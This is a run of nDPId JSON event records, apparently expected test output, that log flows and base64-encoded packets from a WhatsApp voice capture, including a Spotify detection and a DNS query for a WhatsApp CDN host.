+00498{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455688,"pkt_ts_usec":226428,"pkt_caplen":119,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":119,"pkt_l4_len":85,"pkt":"kLkxKPrKxiwDYGpkCABFAgBpTxsAADEGKXgR8jxUwKgCDBRnwMrukh4wSA8z\/oAYAZklAAAAAQEICjyzTX40zfCmFwMDADBBMeYgtgt9IoqVyG19Nwskqr7pCCl5Q+uac6KaMFU5rnqChCXfQ+g55lEPhVLxVNw="} +00425{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":10,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455688,"pkt_ts_usec":227687,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkkLkxKPrKCABFAAA0AABAAEAGKcrAqAIMEfI8VMDKFGdIDzP+7pIeZYAQB\/9PtQAAAQEICjTN8Ng8s01+"} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":11,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1561455688445,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":4,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455688,"pkt_ts_usec":445940,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"\/\/\/\/\/\/\/\/xiwDYGpkCABFAABI7iMAAEARBjHAqAIBwKgC\/+EV4RUANEtUU3BvdFVkcDC64ScQKi2g\/wABAARIlcIDyUSzc\/3fJAksKuG26pMF0apN5Ek="} +00508{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":11,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_first_seen":1561455688445,"flow_last_seen":0,"flow_tot_l4_data_len":52,"flow_min_l4_data_len":52,"flow_max_l4_data_len":52,"flow_avg_l4_data_len":52,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.1","dst_ip":"192.168.2.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","ndpi": {"proto":"Spotify","breed":"Acceptable","category":"Music"}} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":12,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1561455688704,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"157.240.20.53","src_port":49355,"dst_port":5222,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455688,"pkt_ts_usec":704143,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkkLkxKPrKCABFAABAAABAAEAGxd7AqAIMnfAUNcDLFGab0QrZAAAAALDC\/\/8eGAAAAgQFtAEDAwYBAQgKNM3yoAAAAAAEAgAA"} +00436{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455688,"pkt_ts_usec":744885,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"kLkxKPrKxiwDYGpkCABFAAA8AAAAAFMG8uKd8BQ1wKgCDBRmwMsu6BkVm9EK2qASbHAbGAAAAgQFeAQCCAoefUIDNM3yoAEDAwg="} +00424{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455688,"pkt_ts_usec":841176,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkkLkxKPrKCABFAAA0AABAAEAGxerAqAIMnfAUNcDLFGab0QraLugZFoAQCAytcgAAAQEICjTN8zsefUID"} +00772{"flow_id":5,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455689,"pkt_ts_usec":11542,"pkt_caplen":322,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":322,"pkt_l4_len":288,"pkt":"xiwDYGpkkLkxKPrKCABFAAE0AABAAEAGxOrAqAIMnfAUNcDLFGab0QraLugZFoAYCAzMiwAAAQEICjTN83QefUIDRUQAAQAABAgFCAJXQQIBAADuEusBCiBs0lNzQCsv7mZcQ2g9JM5uc6RaWdA0Z64D7QJcOwjYQBIwJmlZLwntGSmIUxkxmNU28MJEcpB5OO0bQ\/MwTSXlPLcL0EAJwIPtRK4BkKxQEm8yGpQBpLbkwMhu60ti3xyo\/m+XNYQLSmvCZ+cyrvXBWv8GYjuw8tYDgMacJ4yVZ+X9ZR3kf2p2m9XmrT2zaBZrBe+6EOIG0o6LyS8qOT0UE3nWMyWNJfTas6N87sRPyREaOk2FytfLtO+4712zSQlNYUuRQxaykkbGBTBlWKUqb+90F2R6MgcPFF6d9coTYMiRbWh0F9ty5g=="} +00423{"flow_id":5,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455689,"pkt_ts_usec":48966,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"kLkxKPrKxiwDYGpkCABFAAA0cPoAAFMGgfCd8BQ1wKgCDBRmwMsu6BkWm9EL2oAQAHGyoQAAAQEICh59QzY0zfN0"} +00505{"flow_id":5,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455689,"pkt_ts_usec":179198,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"kLkxKPrKxiwDYGpkCABFAABtcPsAAFMGgbad8BQ1wKgCDBRmwMsu6BkWm9EL2oAYAHGeqgAAAQEICh59Q7k0zfN0AAA2GjQKIMn7JvHGavuhqVdYd1vca\/IJQIYKLMyQwSCH\/fsSv8x0GhA0tnde03caXwjAuznSL\/08"} +00495{"flow_id":5,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455689,"pkt_ts_usec":179254,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"kLkxKPrKxiwDYGpkCABFAABncPwAAFMGgbud8BQ1wKgCDBRmwMsu6BlPm9EL2oAYAHF4YAAAAQEICh59Q7o0zfN0AAAw4pUZJKD3\/ErgOwmuDOgFuwgwSIVAHnDAwC6kJuXOJaZ7mvcLydOdTpuiyiKA7IGm"} +00545{"flow_id":5,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455689,"pkt_ts_usec":210213,"pkt_caplen":151,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":151,"pkt_l4_len":117,"pkt":"kLkxKPrKxiwDYGpkCABFAACJcP0AAFMGgZid8BQ1wKgCDBRmwMsu6BmCm9EL2oAYAHGJEwAAAQEICh59Q9c0zfN0AABSloYad50DCrHNU3CtOiJcVxFMqGwUsvuNrw\/NsvDrYT0f0qsFbtZuaeD9guVJ4i0o7gRKLs4+lCX\/FNQHYpCnMo45eos928+1PCmAjJ7UofRPcg=="} +02308{"flow_id":5,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455689,"pkt_ts_usec":215473,"pkt_caplen":1454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1454,"pkt_l4_len":1420,"pkt":"kLkxKPrKxiwDYGpkCABFAAWgcP4AAFMGfICd8BQ1wKgCDBRmwMsu6BnXm9EL2oAQAHGI2gAAAQEICh59Q9g0zfN0AAmkdj7sPn0GT99AxZ8jLE\/HQ1mKLEFTkCRctfqMKGSNnX38tmxd4Gs9ZGOr+e\/+EE58DQjZz7UfdZHZYI3Vg4Wg8C7\/6I1D8xpQ+i4Ff38\/K0N6hhprWRnwznJMPoyr6FYEb1vIc9P2hjlSlfq2l8MmsDlbFGUnHFp7pX0oburxVGar3TZ\/\/MyGDjuyDIWGinGxLtr4HNpwx3v0vV6izHk1OSUJgHbfKcaYbmo4ReAogQrtTBE7GGfcXbsS8bGv6qk+InEdnTnmMh188wPsjWnS5YIfJl8zrAaXRSPjBGszBrVM64SHGJdqTIDm+bT3Vf+036wECPYxUCl\/9MDNUU8nMrhM++Jx7FK3DAWgWBbMA\/5m1FNVtcrw7vzPoYNujlC5EBI5GiWKhfoqMVjo5b+BpXpx9H0HaXt0v5Scfo4KV003MU6vBP44X6O2j2J8NFtlHdhz8sjCW2MWTtX4jgTHQBYnSNb+5jgSY0pd5VM0fTIimMbyT0tqdFe1oR7NZccaE0yykXWVSlwWaBrguXUTDN0GCiUqicRuKz1vFk50DQO8ztm4g9Oohumj09q5VhGvHdg9Cg1QlB8MUpbX21z9i4pQgsoDzQ7pH0xej+jp\/p0MDyiRMem9lL0mqEyymn5CgWzoJx\/1VBZrLevwKye+\/dFy5YeftC3\/LVi2yai\/44STHWobGUNHxCnWqfMA0frAxOuhU1eAnRKUUT8FO4lHypTW3UAgx9NRv4Wo1arBC5AFCxrokk3OCVe70lutXevJvoDNr0Tc1PwwY85rDhgvcNMcbEM51msFQFD5vcpC\/iRuTiv44tKauxMFAjTCinfvjqybQGCnG5WVW5pXOu2FlMC47Cynu3ofPa0X7uT0cZD+aIbI6BlIlfLA6HKp2UjPCQJF5OVgOWcE4ugcLN4KsjhRKKUvIZqhRn6ff9Vppo4YNKVIYGqcCeXHzgyTJD6gaWLpKc7R4ahM8F+X0UPK\/eTvjiKRyw7i8s\/PA4wzd5Xgn2u+4Aqh+k2mRv027TldOm7HpabStjoFxfhdKMwlGNd\/5z87lBmnaeAntaV0YWHU6SVZ6oUpYVwaF07Wc1ut24zztXNL1ZWlTsMkLD9gruwbI+2O4CQIYkX\/6iVHo6txn61Zdodi5UOi6mwKk+4d57YYX6KVM7HiWfOCE3fF4S0wCtUW2jtYm+q+wt8\/A+cSPGpxKs1xUYTjV65ZFpGo5JPgPe2ficXmYXNQVl0iBsq4dFZMxjeKp4NMjRL0efENmNYRxUlAFBPHM9Z8Yk0FOLxFxBULBdU\/BlafgDMmSgGkPmEzxMu+NJot\/PE8z+8Cg0dv6\/YnkkPOtaSiBQ0uin2TurQelKDcAXch+l5PdZyWC+0j4+UKD12EAL884GGA\/zulnkwEsuQwbF7pCAMoSVbcSRXUL6wvGN\/0yTqFwa+dGhUu9ClfoR5Ed+ZfJKuwH0G3BClYHpO6ZhRn+hURVE+XXdS4m0iSxs4DRBw5v95MgaU5FdHJ93YyzPc4LoYfTL2GHd4MY0KOr5M2hUUCcltWh4gibcAqDsrBpVmVv7ouX4pD8iWaQEAWBJ7fpq2ts1GBKTHLeHjhkmFA1EUtAsAeq769u7n9dQQxvFgr8\/hwdESqAcG9Xctnp9l+hCLCybd87JnIlH6PpDJc74SBPRTjoEvbVA21I4NvkvF2JB0NlMvcJ6kByq5SYqy7uHD+QFCyt6re4m47M0SITfBHbdXjnMo6jwkxdV6Dp3zhffvMRWKxKyox5SFcx7QpKkbd6KgckWEciTBqylRIl4uuDD+727kL4gkI9PhOgOtUlMNW68pDnsf0AHLlSjZg\/Mzbbrr0Ms53dc8="} +00483{"flow_id":5,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455689,"pkt_ts_usec":215501,"pkt_caplen":106,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":106,"pkt_l4_len":72,"pkt":"kLkxKPrKxiwDYGpkCABFAABccP8AAFMGgcOd8BQ1wKgCDBRmwMsu6B9Dm9EL2oAYAHEubwAAAQEICh59Q9g0zfN0vJVKMJsIZooHCxX3HwgTQtkI1Piq8VyI9tqMWMJzXMtRNDo94R5hDw=="} +02310{"flow_id":5,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455689,"pkt_ts_usec":215892,"pkt_caplen":1454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1454,"pkt_l4_len":1420,"pkt":"kLkxKPrKxiwDYGpkCABFAAWgcQAAAFMGfH6d8BQ1wKgCDBRmwMsu6B9rm9EL2oAQAHEeAgAAAQEICh59Q9g0zfN0EWVwLMorjG2Pv0l62d3pKFwd21WiMBquC9BZMsK+l1A2QjYgSvipU4Sd\/IaJb5bo6ZFDcQx7aorE5zkuR0nFUNMuVzZkqVtp2KEfz7Dk+2P52b9JIY37wjB45ZWEgXkGLv7QJ0oFIkzUO95dE+Zc3dy0fnL6ETCwUE1xT354s+nTnTQShC8d4vZUFPwPxG0ydNrorDq2iyau4la8IA7SwGLY6jQ1mtyh4EmdfnvUKGxR7ym0cLx+BwTy33o6qd3Y7om7hgRjh72qQD8\/bw4y7IsJCEevMOUVDgdAmJzrLogsAtOvg6fphV9+ualMT7\/0OCpBhOxV8+be0LVwWr47N30FyF26wlH\/vMScrWDTL8Xoo4t\/ZzgN4zVKLOnYMLC9n9ly7dit9vl9j0ghDqsugFbd8w1yQwdxlxAJCmZkLjlMVElQOYbEE69pqkPp1oHICy1Sp7rQVGT2IlPVwA17i7aFkkLpSxz6gDmb0vCQOEr+yf6txfxiYFwrAcUHuSSXk+tRK6mZole7tbwCPtPkwkoEBGguUpIr44R\/nLe2+kF8ZOPIGkDRoee7fpbiL9jtUSLDS8TzGgBGZ6wtbbyuBhT1faUbzJ7nxRNiRxwtGdLIKx2u9ueRpVK2z0UigxR\/\/YYmuxba2Z3ub7+oPuhd6vcY9v9rbarfX9cCChk8x9JAxoviolPiRrHjaTUk+z84B92Yrc08AJTXCNUxZIAp1i2Ws6SwUliQs1jUQLw\/kPvhsSja9UNfJAZEj4IHqYnhDKerGE0E7o2ltlvYJ0TASlh\/RNSpzFH6GOF6cKtXlkjx8fVLx\/jJgCR5fOPh8LtuHS6wqhr7cuj2eGAFHg+vrzFZasiz+9biFOmBf3XfQHN\/MVUyxB9hA+QPRCV9ktnfvsRSfIMr0EWn7jaV0bPahHROoLjF\/dmV\/a16ZlyO2qBxeE1md8nAbhnTsGjTqp5Y4YO4TUJuVEwQrRqGVfcINw2NuxDssF2EszAnae3ohUTecwjq4oiBpzJToW86M7ePage76F7lYbdNiVfPmPz\/6MPw7vPN9qhFTZNfxLPH8mrXY19Y\/QFDUvB72CC62FzleNNGQZRyNB2S4WMXQ9xNhlHejobYxXNfnFrp6g5nhqLemtOsE5CxksmDEar4Ef9oaAM\/OwUbL3OHUwAa\/kFMaLfSBpYb3ohmdbOedjDUK6QnL7OYGbrpJCxFFY\/RjoXxGsKS+\/hWfTMATPYEHlcklErLbLk9MYE66buzq0NCPCR8Jaq8KQRr1Gg0fdRtxn3L\/eKMDj9pEP\/E6F1+Ib2B3RosdFubPY8p9EBNXEAqQOUaULFgvEcHB7BP1PoYnp8GYFi3PDynJDlvv9BMjVqLuQ3Ogibv2t8n\/lKBGMI1KDDyX+oAEMQRTmGSsy40567+7m\/DUklrtYdNym4jOSeXcT75ceMTdmR4NRAlrkO6gkWU1iCN5Tv+Gi0GAyY8wNIKwumWfvz2cPn4qttM2nx05\/UXwmZwaXQqLFbeDkGF25DQ0EZfyETMUe9v4mEz1TavR5gLrGzOVjZyh2+cLlkIBTvV3RkrS4YKuYYghpnCoAZ9vmLuDDCSmH8MWb7h\/jOK0avBLPT0pMdMC5TnGawE2at3zt77rqEEC0B5DkfMjg4S4BHUva5w7uXJiR0r2EwHHIsO+eoVXlN9ut9ECXlBwHK39lPWcHciWAjV8LhgEMa0IYjs5wCnGJ+XZjO2sEAtyQSClpjPQ+lfiPmSV9WHBiexLMGRZlBu1chaNiHiC6qDSqymK5zwUcobkGmePNTuexOdL87e1zQVbE3cmjHaEvQpuS+aYo0HkV08\/gRsDNdULAbO68WF89CJscA="} +00570{"flow_id":5,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455689,"pkt_ts_usec":215893,"pkt_caplen":169,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":169,"pkt_l4_len":135,"pkt":"kLkxKPrKxiwDYGpkCABFAACbcQEAAFMGgYKd8BQ1wKgCDBRmwMsu6CTXm9EL2oAYAHGpDQAAAQEICh59Q9g0zfN0hXG6s9MhtEG+8d2FiCmcb\/SkMAUbgGpRw4RDiog0H0OPGl7wmMH6J6qd46CjOmsl\/29VKEyxxNd296ezERHdRwpZDfUDvEPvMSrvs69VczmxnvZq+3EZ3vzr0n7vbz5X6HcVd8mLZQ=="} +02316{"flow_id":5,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455689,"pkt_ts_usec":216070,"pkt_caplen":1454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1454,"pkt_l4_len":1420,"pkt":"kLkxKPrKxiwDYGpkCABFAAWgcQIAAFMGfHyd8BQ1wKgCDBRmwMsu6CU+m9EL2oAQAHGn6QAAAQEICh59Q9g0zfN0P9EJdvILzcI4+iv7cGgPZxifVid4pVWfJP98HQuccwwKRYSOPhlVGwsuDm0OyCClVA8E2hDIEfSGFDLjNTDD+Yr\/MXBJifH0bkpS8b1zg8sUoQ78GeL0zZFihNblbbDAj8lQApFtHi7sR8OGZ9Ouwg9+5V93gALNZG3\/tWVyLQi4lGHvj2COl\/jMTrmw6nVjWpZWpM4sSSBFPd6MBy7terPnbLE53bnE2Jc\/hGGgHV3uLCfH6mF6H\/zKEWgr3dea+ABNUQ7O6\/4r1j+nPL066YTrT2ZN0hdWYEd4h85nkd731NXJ3FyHwL3vIk4D8qb1OZmOaDSe\/TJgLfDBVJfRY0zQhnrA6CYf+4CQxlFjxfZO8mew1aRhZeG4EWDwc3iGBsLxGKH4fw934wH9uDUAZ\/wls5AkOAIUHu6h9eM594oqmmEPMCoRljJQnI2MIh+7BWFJ+1LSmx19jnHmlEC3ouo\/ZgXa0\/xcH5XRehH3vsIwAJGiK2zsY+XcN82Z\/8eWYQ5m3TGgLqma5Vb3DBxR5dUM4E1C1sdNsQED9IQxQ7d79V1bwZ4WY2\/A1IueIrch7gbOa39PoH99zApTn\/FFPXd1tr13W8lEAOW3rwpIMHJvX+bBFjHHq2cJ\/a1HZrjVtiT9j0O6qIEKJIriA7s2QA5MGIPw1mCZI\/+FDxdrr0RVFq5hah8hoI0x09nYB8\/UEeHBnr9+ZiuDfKscJPgmNrwMXEwMLDQb9Jm2JWyKyQabAdsXAGanTIC4mVh5GCdqT5P8cHgXtklF+9ubnaOXy21w39IzcVBLIvOyPe2Tx2QKukOT5ItPs+lRSpiv\/eqB7ur7+KBOMqO3sbphKYjI1zSMoNLqnADON3ZSu5lyC3z+cDEcQTH+ZtkYLqLraqDuX1ocgYT7+HBFHiRIC0rIuO+Mo1vTWR1EORhKxVpRa6I8Gb4lp3DIQt+KFKzUXS8LaA95r7FGs\/ylKFIpYVVazGbp0Z\/dgiln4bHWe8o5kfROM1xZEylDpDjoy2EnV2ZfbL\/OkY0383ymjcEVRfkCRK5g6LxWv+buj92T8\/AHkar\/3XOuNWIwTefFgQRIJnPQNwPMQX7c5yMbGBZeBETM9ToNARp0c22XOkdawMHJfuZdHL+Xk9eOUHsJjMKOojt\/jrrVyRuPwozXI5LyUIpVXqGCJ0x6\/lpIH6wYo\/r73B9oUul5KwPWSWstC604rNtzFF4a56eD\/uodW1UVVTR\/F2mfsMR5+aTLETLrPFjVj3TPoXQ+qnrZZU7cgGBBOiejShVkqOYcWC1qAymA2y+D5QeKXKzwI3Y7yDUHc6JRBAgpPiHHRzzovjYQwwtrl+v2vXOViOlICQkpRCDKTkrHUzg3zGC5MzzI9jb5JgOB1jh+8Zaldi4JLXZRSZI+LPHP8TkQg2k0rx2LX2GiUZb5MsdzBTQSD+HvSBptZKwpOTJXEHzcPB72gsOk2rGY4T3f8P65DccJEmR3abeIn2gzfaAa5ejFzIay9rEAYkjHGTOCRJmrH+LIFiifSFccNs9AoIPxtd48PwKCUxlF207jXj6824z9lSGxLhVwrzAI7pPJC+UjJeLic\/R1EZaXw9975j9XxZWdPUYNeQ262VKt481qNbBeKsCNdflIlNlBn+M97YKSewciNMWX1EH7WXbVT8eQYZZA8mf\/6x\/BwpNpGl+Uw\/OjW6T42EZcVYL04Em\/3x8i06xq5+zwh8eb4s\/Jds62dRdiJS+LK8FcTAOJ43JRwJFw20lmUqjWJZ8DGMj1DJ8MOa9pqn1Cj71PGN8UNPEKGtuW7zlh0s1v5hHwfK9TVSfliezOE9OFawJKO6JaAyfSDdn5Cqp1Zss="} +00581{"flow_id":5,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455689,"pkt_ts_usec":216112,"pkt_caplen":178,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":178,"pkt_l4_len":144,"pkt":"kLkxKPrKxiwDYGpkCABFAACkcQMAAFMGgXed8BQ1wKgCDBRmwMsu6Cqqm9EL2oAYAHHWpgAAAQEICh59Q9g0zfN0OmD+snV1QUhqItc7CZBQmsG6qZYUD1Z6WHk+O6S+J2qqFsZKWh7S\/FBIrxbjGtydUoqTdUJzETbYyVuUlCBNH7egwhJx0ddumHZlEir2k+KjhenSaBvgdPqOElvcisAIjGuRKR+Gh+VleoERAQquDA=="} +02305{"flow_id":5,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455689,"pkt_ts_usec":217298,"pkt_caplen":1454,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1454,"pkt_l4_len":1420,"pkt":"kLkxKPrKxiwDYGpkCABFAAWgcQQAAFMGfHqd8BQ1wKgCDBRmwMsu6Csam9EL2oAQAHGDJAAAAQEICh59Q9g0zfN0j00kD7SW47vpxLkGozFihiVHS84IOEIZ4S8w+pvhkI4\/BVPnMsu7keXoL493PG4Jl94mip3ZYMBXk0tzcxBsugkacLva6p+\/l9Ai4U77Xu7ts\/uFMCxxoRjCgcN\/3abOTw7N\/kRx+RhOrYwoq8rRMCqlUvDBqFAj10JdY6DJhmvLJlse2k9rMuixA3LoDW2+YSjX6RE0TOsMgivknvp8OpgqixA9QfIZ29RNEZJHEfRHvv8WUGRGI4DC5QUbOAmvnrpUWSwma3mVGFQT84CFlrEXLA1PMEMSRVDLOunbvTbivqIQkojlxXim7s8ZS07plo6AFOBloQ8gVaqHhZF6Wn4CIYkFuQUNvSDxEOypAKKhj7H4kMiZJ1UQ2Z1fxcys83bOxOj7emx2V3aeoIGT0\/ueprJ5LcJSQMZpEAnaDnQc\/VaEFzRb971FV8zqAkJSYizTV5x+JUvvy9xXIMqn\/3fQbQUmv4v1w3Slrt6EpOUdN8P50D34oF6OYFbUkFztGvx+Shr2reNIJIEbqzscAMhZ2n\/wNndDVNqvuB2sj6lsd07u17prEMI7kSFMn0DTi1FACMEvfe5Mb74VlY\/HNTVinIWOkse32EgSfpXV8cbvDOkZe5ZKJG69923K5xLmUKXpYyIvkR3e7JoSITZuahaMUANfyBSFxEokn67s+ECk\/ssch+u5bfqsg3XvCKFAFnx5tivzoDbhvvAl6INch9X1rAEZNcqHBqiwJPFMMVj39syFXYg8dDE35EtV11JaMuM9FtN5HnKSF4YcmhkWAYGjUNKDcQgs6E4NESJzNqtaW3VxC1mVGieihYnQ6HmR29huWMyF9qLObApw9iuMne4NWo4W0B51AN95npmBmaYCoSYfn7BHgFHCbeoLN7NM5NbbLQ5kTIq93TvZr8e67pIeNREdh0OcCN52mIP4nRNZQjGCVNXsE9odeo1mGqr\/rl5+KrQ9Fgt66Epj918esPteMZ6ztV4ajtwc7YhiTc8EuPiCZ0DbE038c\/5ImCKaqpahBsfMxcUkfridm6dlIJiaPiAAh5+7f7ntavun4Aeuj2ytX5STanePvtyxDY5DKQ0m6f9hs3Hxqdh+oo9Z7+ITcmY6SofZV0f0ej7sl5bIs9O\/C00CyTNx8MQe6eFgNRlolcqu3cJn87m8x08H38tnSMCc9lsuy6L2TE4n4II04VpSQEMolCII0BykjN0hVcPtnS4uZbNoM1dKUe5BHJCEyf7GIRAQcaWVbF00l4X1Yu5UKSH1yu1Obp\/JbUj6ZnkFex7ND8w48lrhUDw1GlTVmz7NuOpUCUDBmT7uMEhSVqRa5LuFo9CYd9NqVKjYECe\/yRfzlPI6SZISdWYrnJJRnwZp0poUQXGqh1PxRg3bQOIbU3aPQcTT2RCPoX5y975\/oAwgg2TgwXxg4+MVnSNPx3gCTFs5rKEG6tDM4Xbedl6ZvM5XFhTMBrR8gylJ4twI+PoHkmduAYJ\/UVs4dj65UpqTL1cHtHWLBf2jbHf\/YrCZNOqmXzvYO40AizTV9byTfAD5L161bjeZqzsDx2o1lW2PKYG5EWF5PWID9lrCAsFRKv4Z7wYt3hImKywE5DnXEMGUI581vp4PffKxbeKo2RCqkRbN1RmtrhJwenM\/hA3eh3E\/xoIbjklGRJGA1z7qu4SA3wwLGY+nY8WK2fss\/TARdobk2Lz2kQ7qC5Vp2ZddP3r0IVPwYZC+Wk5uW8ih0NTcDqxvrTop7lT3Xkt2eiwRqtM4oUK85X8A4+ZllM8ua+hFMrxd+oXnn8x75LXgHrSoF7NZqCgjN0ML7ajRMGVHnkkJQnvnPiHe1oIQYUdjaPOUG1tMaio="} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":60,"source":"wa_voice.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1561455689728,"flow_last_seen":0,"flow_tot_l4_data_len":55,"flow_min_l4_data_len":55,"flow_max_l4_data_len":55,"flow_avg_l4_data_len":55,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.12","dst_ip":"192.168.2.1","src_port":55296,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00456{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"wa_voice.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1561455689,"pkt_ts_usec":728258,"pkt_caplen":89,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":89,"pkt_l4_len":55,"pkt":"xiwDYGpkkLkxKPrKCABFAABL058AAP8RYqTAqAIMwKgCAdgAADUAN5FDM2kBAAABAAAAAAAADG1lZGlhLW14cDEtMQNjZG4Id2hhdHNhcHADbmV0AAABAAE="} 